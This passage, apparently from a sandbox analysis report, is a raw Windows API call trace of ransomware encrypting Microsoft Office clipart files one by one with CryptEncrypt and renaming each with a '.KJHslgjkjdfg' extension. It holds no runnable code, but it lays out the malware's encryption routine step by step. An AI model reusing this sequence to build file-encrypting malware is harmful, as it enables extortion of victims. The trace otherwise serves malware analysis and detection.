lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.433] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.433] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.433] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.433] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.433] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.434] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.434] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.434] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3a94, lpOverlapped=0x0) returned 1 [0193.435] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3aa0, dwBufLen=0x3aa0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3aa0) returned 1 [0193.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.435] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3aa0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3aa0, lpOverlapped=0x0) returned 1 [0193.435] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.435] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3b74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.435] SetEndOfFile (hFile=0x130) returned 1 [0193.438] GetProcessHeap () returned 0x990000 [0193.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.438] GetProcessHeap () returned 0x990000 [0193.438] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107146.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107146.wmf.kjhslgjkjdfg")) returned 1 [0193.439] CloseHandle (hObject=0x130) returned 1 [0193.440] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4ea8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107148.WMF", cAlternateFileName="")) returned 1 [0193.440] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.441] GetProcessHeap () returned 0x990000 [0193.441] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.441] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.441] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.441] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.444] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.444] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.444] GetProcessHeap () returned 0x990000 [0193.444] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.444] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.444] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.444] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.444] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.444] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.444] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.445] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.445] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.445] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.445] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.445] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x4ea8, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x4ea8, lpOverlapped=0x0) returned 1 [0193.446] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4eb0, dwBufLen=0x4eb0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x4eb0) returned 1 [0193.446] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.446] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x4eb0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x4eb0, lpOverlapped=0x0) returned 1 [0193.446] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.447] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x4f84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.447] SetEndOfFile (hFile=0x130) returned 1 [0193.449] GetProcessHeap () returned 0x990000 [0193.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.449] GetProcessHeap () returned 0x990000 [0193.449] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.450] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107148.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107148.wmf.kjhslgjkjdfg")) returned 1 [0193.451] CloseHandle (hObject=0x130) returned 1 [0193.451] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3490, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107150.WMF", cAlternateFileName="")) returned 1 [0193.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.452] GetProcessHeap () returned 0x990000 [0193.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.452] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.452] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.452] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.452] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.452] GetProcessHeap () returned 0x990000 [0193.452] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.452] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.452] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.452] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.454] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.455] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.455] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.455] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.455] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.455] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.455] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.455] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x3490, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x3490, lpOverlapped=0x0) returned 1 [0193.456] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3490, dwBufLen=0x3490 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x3490) returned 1 [0193.456] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.456] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x3490, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x3490, lpOverlapped=0x0) returned 1 [0193.457] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.457] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3564, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.457] SetEndOfFile (hFile=0x130) returned 1 [0193.460] GetProcessHeap () returned 0x990000 [0193.460] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.460] GetProcessHeap () returned 0x990000 [0193.460] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.460] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107150.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107150.wmf.kjhslgjkjdfg")) returned 1 [0193.462] CloseHandle (hObject=0x130) returned 1 [0193.462] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5804, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107152.WMF", cAlternateFileName="")) returned 1 [0193.462] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.463] GetProcessHeap () returned 0x990000 [0193.463] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.463] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.463] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.463] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xc, lpOverlapped=0x0) returned 1 [0193.466] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.466] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.466] GetProcessHeap () returned 0x990000 [0193.466] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.466] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.466] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.466] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.466] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.466] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.466] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.466] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.467] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.467] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.467] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.467] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x5804, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x5804, lpOverlapped=0x0) returned 1 [0193.468] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5810, dwBufLen=0x5810 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x5810) returned 1 [0193.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.469] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x5810, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x5810, lpOverlapped=0x0) returned 1 [0193.469] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.469] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x58e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.469] SetEndOfFile (hFile=0x130) returned 1 [0193.472] GetProcessHeap () returned 0x990000 [0193.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.472] GetProcessHeap () returned 0x990000 [0193.472] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.472] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107152.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107152.wmf.kjhslgjkjdfg")) returned 1 [0193.473] CloseHandle (hObject=0x130) returned 1 [0193.473] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x571c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107154.WMF", cAlternateFileName="")) returned 1 [0193.473] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107154.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107154.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.539] GetProcessHeap () returned 0x990000 [0193.539] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.539] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.539] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.539] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.541] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.541] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.542] GetProcessHeap () returned 0x990000 [0193.542] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.542] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.542] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.542] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.542] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.542] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.542] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.542] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.542] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.542] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.542] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.542] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x571c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: 